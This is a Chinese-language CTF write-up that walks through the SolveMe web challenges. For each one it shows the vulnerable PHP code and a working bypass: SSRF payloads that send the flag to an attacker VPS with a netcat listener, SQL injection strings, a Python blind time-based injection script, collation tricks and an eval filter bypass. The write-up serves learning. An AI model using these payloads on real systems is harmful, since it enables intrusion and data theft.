Solve Me解题记录

前言

前一阵子关注点在实战上,现在又回归CTF学习套路了,这个网站http://solveme.peng.kr 本来做了一半的题目,今天终于把他补完了,学到了炒鸡多的东西啊~

##正文

Warm up

给出来一个密文和一段代码

1
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
1
2
3
4
5
6
7
<?php
error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

这题直接反过来写代码即可

1
2
3
<?php 
$s = '1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=';
echo hex2bin(strrev(bin2hex(base64_decode($s))));

Bad compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['answer'])){

if($_GET['answer'] === '尊찢悼嚴隆'){
echo $flag;
}else{
echo 'Wrong answer';
}

echo '<hr>';
}

highlight_file(__FILE__);

这题可以知道我们要传进get参数,但是===后面的内容不在可见的ASCII码范围内于是我们抓包看一下
找到对应字符串的ASCII码,我们知道单引号url编码为%27,两个27之间的就是那串字符串的ASCII码,
直接构造payload:?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc,得到flag

Winter sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){
echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';

}else{
sleep((int)$_GET['time']);
echo $flag;
}

echo '<hr>';
}

highlight_file(__FILE__);

这一个题目我们运用了int的强制转换科学计数法
这个题目先使用科学计数法绕过前面的两个time以及is_numeric,最后通过int的阶段获取到flag,因为60 * 60 * 24 * 30 * 2=5.184*10^6
现在的payload:?time=5.185e6,sleep大约5秒后出现flag
为什么出现这样的效果我们来测试一下

1
2
3
4
5
6
7
8
9
10
11
12
 $time = '5.185e6';
$num1 = 60 * 60 * 24 * 30 * 2;
$num2 = 60 * 60 * 24 * 30 * 3;
var_dump(!is_numeric($time));
var_dump($time>$num1);
var_dump($time<$num2);
var_dump((int)$time);

bool(false)
bool(true)
bool(true)
int(5)

Hard login

一开始上手这一个题目,发现什么头绪也没有,因为他的那些参数我一个都不知道,发现url有点奇怪后来就尝试着直接去访问index.php,网页顿了一下又回到了login.php,怀疑存在302跳转,于是抓包看一下,果然重定向到login.php
但同时我们也得到flag

还有第二种方法,直接curl一下看情况
P21ZSH.md.png

URL filtering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/lib.php";

$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);

$params = explode("&", $url_query);
foreach($params as $param){

$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}

if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

highlight_file(__FILE__);

这一个题目我们可以发现存在parse_url函数,这个函数有个漏洞可以用多个/符号去绕过,然后就不会执行die("no hack");转而执行了下面的语句。
这里有篇方方土学长写过的总结:点我
构造的payload:///?do_you_want_flag=yes
后来发现还有官方的解法,就是利用描点去绕过,从来都不知道还可以这样搞
http://urlfiltering.solveme.peng.kr/?%23&do_you_want_flag=yes

#Hash collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['foo'], $_GET['bar'])){

if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}

if($_GET['foo'] === $_GET['bar']){
die('Same value');
}

if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}

echo $flag, '<hr>';
}

highlight_file(__FILE__);

这种题目做了很多遍了,就是利用数组返回NULL去绕过,构造下面的payload

?foo[]=1&bar[]=2

Array2String

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/lib.php';

$value = $_GET['value'];

$username = $_GET['username'];
$password = $_GET['password'];

for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);

if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

发现要跟./secret.passwd路径下的内容一样,先去里面看一下,发现字符串simple_passw0rd
这个题目get到了一个新的知识点

就是chr()这个函数再ASCII码超过255的时候会自动取余,我们利用这个特性去拼接username的字符串,于是写了个Python脚本构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

s = '''15th_HackingCamp'''
dit = []
payload = ''


for i in s:
dit.append((ord(i)+256))
#print dit

for j in dit:
payload += ('value[]='+str(j)+'&')

print payload+'password=simple_passw0rd'

得到payload:

1
?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd

最后得到flag

Replace filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['say']) && strlen($_GET['say']) < 20){

$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}

echo '<hr>';
}

highlight_file(__FILE__);

这题题目漏洞出现在正则匹配那里
根据我们查到的资料,因为以’^’开头,以’$’结尾的只能匹配一行,也就是说我们可以用%0a/url编码下的换行/去绕过
于是我们可以构造payload:?say=%0Agive_me_the_flag
得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}

if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}

if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}

$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];

if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}

$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));

$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}

socket_close($socket);

echo 'Okay, I sent the flag.', '<hr>';
}

highlight_file(__FILE__);

跟上面一题类似,只是对于host有了过滤,这里我们用 ip2long() 函数将网络地址转化为数字地址,这样就可以绕过.的ip过滤

1
2
3
4
<?php

echo ip2long("120.78.164.84");
?>

Payload :
givemealink2.solveme.peng.kr?url=http://2018419796:8080/plz%1agive%1ame
然后在服务器上面开监听

1
nc -lvnp 8080

就可以接收到返回的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}

$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

echo 'Okay, I sent the flag.', '<hr>';
}

highlight_file(__FILE__);

这里发现这段代码的逻辑是用get方法接受一个参数url,而这个参数要经过三次的检测,第一次会把含有下划线,空白字符过滤掉,第二次过滤检验的是是否满足url的格式,而且必须含有$_SERVER['HTTP_HOST']里面的内容也就是http://givemealink.solveme.peng.kr/,而第三次则判断路径下是否含有plz_give_me这个字段,突然发现这个东西跟第一个过滤下划线的自相矛盾,查一下PHP文档,问题出现在parse_url这个函数里

1
2
3
url

The URL to parse. Invalid characters are replaced by _.

非法字符在这个函数下会自动替换成下划线,测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$url = urldecode("http://0verwatch.top/%1atest%1a.php");
var_dump(parse_url($url));

?>


array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(13) "0verwatch.top"
["path"]=>
string(11) "/_test_.php"
}

发现这时候就可以利用这一点成功绕过第一个过滤,以及满足第三个过滤
这时候考虑第二个过滤,继续查看parse_url这个函数文档你会发现他有这样一个例子,

1
2
3
4
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));

这也是url的一种写法,现在感觉很少用在http服务上感觉在ssh连接自己的服务器上面用的多,因为一般的url都是这样的

1
protocol :// hostname[:port] / path / [;parameters][?query]#fragment

但是平常我们连接自己服务器的时候可以这样ssh root@vps_ip 然后输入密码,这应该也是这种类型的
P28fJO.md.png

然后这里的话相当于username还有password没有任何实际作用,纯粹就是用来写那个$_SERVER[‘HTTP_HOST’]来进行绕过的
payload:http://givemealink.solveme.peng.kr?url=givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame
我们再测试一下,结果完全符合我们绕过的要求

1
2
3
4
5
6
7
8
9
10
array(4) {
["scheme"]=>
string(4) "http"
["host"]=>
string(13) "120.78.164.84"
["user"]=>
string(59) "givemealink.solveme.peng.kr?url=givemealink.solveme.peng.kr"
["path"]=>
string(12) "/plz_give_me"
}

然后就利用那一个curl_setopt函数往我们这边服务器发送flag了,vps这边监听80端口,出现flag

Hell JS

点开发现存在一大堆Js混淆代码,解码一看发现有一堆数字很可疑
P28IQH.md.png

1
"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"

写个小脚本解一下

1
2
3
4
5
dit = ["4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"
]
s = ""
for i in dit:
s = s + chr(int(i))

得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// good job!

let flag = prompt("what is the flag?");

if (flag === "") {

alert("plnput");

} else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") {

alert("bingo");

} else {

alert("wrong");

}

AntiSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$id = $_GET['id'];
$pw = $_GET['pw'];

if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');

$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);

if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}

highlight_file(__FILE__);

简单说一下这段代码的意思,就是传进两个参数,然后进行过滤,然后进行数据库的查找,查找的结果里面如果含有31337的就可以成功输出flag了

这段代码里面有一个很吓唬人的过滤准则,但是其实里面存在小漏洞
首先过滤了单引号啥的,注入一个单引号行不通,但是我们可以去掉一个单引号,如果要正则匹配\的话,正确的写法应该是 |\\\\|也就是说,反斜杠没有被过滤。这样我们可以注入反斜杠把id的第二个单引号给搞掉。这样一来就可以注入了
第二点就是他那个union[\s\xA0]+select把所有非空字符都过滤掉了,所以说直接上union select是不太行的,但是我们可以用union all select去绕过
然后是注释的问题,因为正则里面明确把#,还有--加上空字符过滤掉了,那我们用--%1a注释也是可以的
还有因为这里order by 也过滤了,只能手动去测试列数

1
?id=\&pw=union all select 1 from antisqli --%1A

发现回显的是Login failed说明列数不对,再继续试

1
?id=\&pw=union all select 1,2 from antisqli --%1A

还是login failed,再继续试

1
?id=\&pw=union all select 1,2,3 from antisqli --%1A

这时候回显Hello了,代码逻辑跳到第一个if条件里面,说明有3列
然后我们直接上payload
?id=\&pw=union all select 31337,2,3 from antisqli --%1A 直接出flag
这里的语句在数据库里大概是这样的

1
SELECT * FROM `antisqli` WHERE `id`=' \' and `pw` = md5(' union all select .... from ... --%1a

重点是union all前面的语句为空,直接执行后面的语句,这太灵活了,又学到了

Name check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['name'])){

$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}

$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}

$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}

echo $flag;

quit:
echo '<hr>';
}

highlight_file(__FILE__);

我没玩过sqlite,但是感觉这里一定要满足admin这个东西,因为query函数后面的东西,但是这里的过滤是正整一个词的过滤,但是我们可以用sqlite的连接词||去实现绕过,但是对于mysql字符串的拼接只能用concat函数去拼接
所以最后的payload:ad'||'min

I am slowly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];

if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}

$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}

quit:
mysqli_close($con);
echo '<hr>';
}

highlight_file(__FILE__);

这个题目也是很骚,我第一次遇见这一种类型的题目,利用来了php以及mysql之间的延时关系去绕过那一个可恶的12.。。
但是执行过程过于缓慢啊,主要是两个延时太过耗时
概述一下这题目的意思传参进去之后,如果没有对应的表就根据你的ip创建一个表,并且这个表里面含有一个名为COUNT的字段,初始值为1,后面就一直往这里面的COUNT+1,如果到12的话就会把表删掉重新再新建一个表,所以关键是他的逻辑顺序出了错误。

判断count的值–>执行SQL语句–>加count值

这个逻辑在执行语句的时候有问题,当count=11的时候,我们执行一个sleep()时间很长的语句,该请求就会长时间停在 执行SQL语句 流程中,如果此时我们再发起一次正常请求,判断count值还是11,执行完SQL语句之后count+1=12,再当上一条SQL语句执行完毕后count再加1等于13,于是之后就可以无限制提交请求了,然后在利用盲注来获得answer,这确实骚气
小脚本,最好还是把header啥的都弄进去,毕竟是靠ip建表的,这个东西跑得很慢不值得,而且一直都跑的错的答案,QAQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

keys = '0123456789abcdef'
header = {
"Host": "iamslowly.thinkout.rf.gd",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Referer": "http://iamslowly.thinkout.rf.gd/",
"Cookie": "__test=4e8126e93f7b5a4448c7e3c1f0b7853e",
"Upgrade-Insecure-Requests":"1",
"Cache-Control": "max-age=0"
}
payload = ''
for i in range(1,1000):
for j in keys:
url = "http://iamslowly.thinkout.rf.gd/?i=1&answer=' or if((answer like '{}%'),sleep(30),2)%23".format(payload + j)
try:
content = requests.get(url,headers=header,timeout=29).content
#print(content[:10])
print '[+]Waiting!'
except:
payload += j
print(payload)
break

Cheap Lottery

这个题目一开始用扫描器扫一下发现里面存在robots.txt打开发现

1
2
User-agent: *
Disallow: /backup/

进去backup发现几个文件

一个数据库文件,还有一份源码

1
2
3
4
5
6
7
8
CREATE TABLE `lottery` (
`name` char(30) NOT NULL,
`time` int(4) NOT NULL,
`nums` char(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

ALTER TABLE `lottery`
ADD UNIQUE KEY `name` (`name`);

作为菜鸟感觉是SQL注入,但无从下手,知道发现原来方方土学长早就写过这题的题解https://www.anquanke.com/post/id/101939
这波骚操作还是6,运用了字符集去绕过

而且p神也发过类似的文章(tql,QAQ)
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

先讲一下这一段代码的意思,发现骆骆大佬早就做过这题而且流程图都画好了,我就直接贴图吧。。简单粗暴
这里写图片描述

我们要利用的点就是这一段代码

1
2
3
$nums = preg_replace("/[a-zA-Z\[\]\=]/", "", $url_query);
$nums = strtr($nums, "&", ",");
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");

这段代码往数据库里面添加数据,只要我们往里面添加自己规定的值,然后再在另一处以同一ip地址进行访问(不购买)不就可以直接进到check模块了。。
意思就是这样
开始数据库里面是这样

1
INSERT INTO `lotter` (`name`,`time`,`nums`) VALUES ('guest_1.1.1.1','time()','69,69,69,69,69');

后来我们构造,使数据库一开始就存在这样的值,我们下一次访问的时候就名正言顺的是买正确了

1
INSERT INTO `lotter` (`name`,`time`,`nums`) VALUES ('guest_1.1.1.1','time()','69'),('admin1.1.1.1','$time','69,69,69,69,69'),('guest_1.1.1.1','$time','69,69,69,69,69')#',69,69,69,69');

就可以名正言顺地使bingo这个值等于5,然后就输出flag了,也就是进入下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

$bingo = 0;
$nums_admin = explode(",", $row_admin['nums']); // admin_*
$nums_guest = explode(",", $row_guest['nums']); // guest_*
for($i = 0; $i < 5; ++$i){
for($k = 0; $k < 5; ++$k){
if(isset($nums_admin[$i], $nums_guest[$k]) && $nums_admin[$i] === $nums_guest[$k]){
++$bingo;
unset($nums_guest[$k]);
break;
}
}
}
unset($nums_admin, $nums_guest);

if($bingo == 5){ // correct all
$msg = "Perfect! The flag is <code>{$flag}</code>.";

但是我们要网关键的代码注入自己想要的东西,就必须得绕过字母这个步骤,这里开始及牵涉到字符集的问题了。

总结一下那几篇博客看到的点
MySQL中的字符集转换过程:

1
2
3
4
5
6
7
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results

也就是:

1
character_set_client -> character_set_connection -> 内部操作字符集

而且p神说的在MySQL里面的utf-8是阉割版,最长只支持三个字节,
如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。
但是这个点跟这题无关,这个点用在让数据库误认为该字母不存在直接舍弃掉的情况

第二个点是
mysql 有两个支持 unicode 的 character set:

1
2
ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。

而在本题目中,sql文件中显示

ENGINE=InnoDB DEFAULT CHARSET=utf8;

很显然这里是utf8,而我们一般数据库默认使用的是utf8_general_ci,而ci是指case insensitive的缩写,即大小写不敏感

这样也表明了为什么平常我们在cmd命令行下写数据库命令不区分大小写了

根据方方土学长所说的,这种模式由于diacritic ordering的排序问题使得读音符号最后被认定为英文字母

也就是对于utf8_general_ci,认为以下样例是相等的

1
2
3
Ä = A
Ö = O
Ü = U

而且还给出了这个超级腻害的表
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
表格上方是 unicode 编码,下方是 utf8 编码

然后构造一下admin还有guest

1
2
admin: %C3%A4%C4%8F%E1%B8%BF%C3%AF%C3%B1
guest: %C4%9D%C3%B9%C3%A8%C5%9B%C5%A3

Payload

1
2
3
4
5
<?php 
$vps_ip = '你的vps地址';
$time = time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A4%C4%8F%E1%B8%BF%C3%AF%C3%B1_".$vps_ip."','{$time}','1,1,1,1,1'),('%C4%9D%C3%B9%C3%A8%C5%9B%C5%A3_".$vps_ip."','{$time}','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
echo $url;

然后在你的vps上再curl一下就得到flag了

P2t4AI.md.png

Check via eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
require __DIR__.'/lib.php';

$exam = 'return\''.sha1(time()).'\';';

if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}

echo '<hr>';

highlight_file(__FILE__);

这段代码主要利用的是if条件里面的eval函数直接输出flag,前提是这里过滤十分强大,把所有可以执行的函数全部过滤,这时候只能利用开发的一个知识,就是<?=$flag?>,可以直接把flag里面的内容直接输出来,这东西我也是在学YII框架的时候学会的。
可以直接看一下文档里面有这样的一句话

1
<?= expression ?> This is a shortcut for "<? echo expression ?>"

这相当于说这是一个echo的缩写版
P2tbjg.md.png
另外呢这两句话表明了php5.4以后都存在这样的缩写形式
我们现在还要考虑的是如何绕过长度的问题以及不要在payload里面存在flag这个词,所以最后的payload是

1
?flag=$a='blag';$a{0}='f';?>11111111111111111;<?=$$a;?>

这里前面的?>的是利用了html里面的嵌套PHP的语法,同时也为了后面的<?=?>可以顺利执行,中间的1就是为了满足strlen这个函数从而执行下面的代码

总结

1.IP地址可以用ip2long这个函数尝试去绕过
2.回顾了科学计数法还有这个指数形式在bypass方面的绕过
3.parse_url()这个函数的几个小trick,分别是对于特殊字符会替换成_,以及在///的情况下会使后面的东西忽略从而导致绕过
4.关于注入这东西,灵活一些,别太死板,除了一些特殊的方法绕过以外,还可以考虑字符集(这里包括16进制)
5.eval函数里面的执行文件操作的函数都被过滤了,可以使用缩写输出之类
6.正则匹配注意一下匹配\的写法应该是四个|\\|,而且对于正则的规则以^开头$结尾的,可以%0a去bypass
7.还有飘零大哥的思路,代码审计拿来可能是SQL注入还有逻辑漏洞这也是很骚气的,22333


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
    1. 1.1. Warm up
    2. 1.2. Bad compare
    3. 1.3. Winter sleep
    4. 1.4. Hard login
    5. 1.5. URL filtering
    6. 1.6. Array2String
    7. 1.7. Replace filter
    8. 1.8. Give me a link 2
    9. 1.9. Give me a link
    10. 1.10. Hell JS
    11. 1.11. AntiSQL
    12. 1.12. Name check
    13. 1.13. I am slowly
    14. 1.14. Cheap Lottery
    15. 1.15. Check via eval
  2. 2. 总结